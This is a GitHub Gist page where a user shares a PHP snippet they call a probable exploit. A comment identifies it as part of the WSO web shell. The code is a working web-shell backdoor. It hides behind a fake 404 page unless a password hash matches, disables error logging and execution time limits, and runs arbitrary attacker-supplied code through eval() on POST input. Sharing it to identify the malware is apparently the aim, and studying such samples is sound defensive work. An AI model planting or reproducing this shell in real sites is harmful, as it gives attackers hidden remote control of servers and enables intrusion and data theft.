Created
January 7, 2015 18:29
-
-
Save codesnik/82443fc1381baadd782d to your computer and use it in GitHub Desktop.
some obusfcated php exploit, probably
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$auth_pass = "2849c39abc268e58daf4ab7497e2bfa5"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); | |
@ini_set('max_execution_time',0); | |
@set_time_limit(0); | |
@set_magic_quotes_runtime(0); | |
@define('WSO_VERSION', '2.5.1'); | |
if(get_magic_quotes_gpc()) { | |
function WSOstripslashes($array) { | |
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); | |
} | |
$_POST = WSOstripslashes($_POST); | |
$_COOKIE = WSOstripslashes($_COOKIE); | |
} | |
function wsoLogin() { | |
header('HTTP/1.0 404 Not Found'); | |
die("404"); | |
} | |
function WSOsetcookie($k, $v) { | |
$_COOKIE[$k] = $v; | |
setcookie($k, $v); | |
} | |
if(!empty($auth_pass)) { | |
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); | |
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) | |
wsoLogin(); | |
} | |
function actionRC() { | |
if(!@$_POST['p1']) { | |
$a = array( | |
"uname" => php_uname(), | |
"php_version" => phpversion(), | |
"wso_version" => WSO_VERSION, | |
"safemode" => @ini_get('safe_mode') | |
); | |
echo serialize($a); | |
} else { | |
eval($_POST['p1']); | |
} | |
} | |
if( empty($_POST['a']) ) | |
if(isset($default_action) && function_exists('action' . $default_action)) | |
$_POST['a'] = $default_action; | |
else | |
$_POST['a'] = 'SecInfo'; | |
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) | |
call_user_func('action' . $_POST['a']); | |
exit; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Looks like part of "WSO" https://www.wordfence.com/blog/2017/06/wso-shell/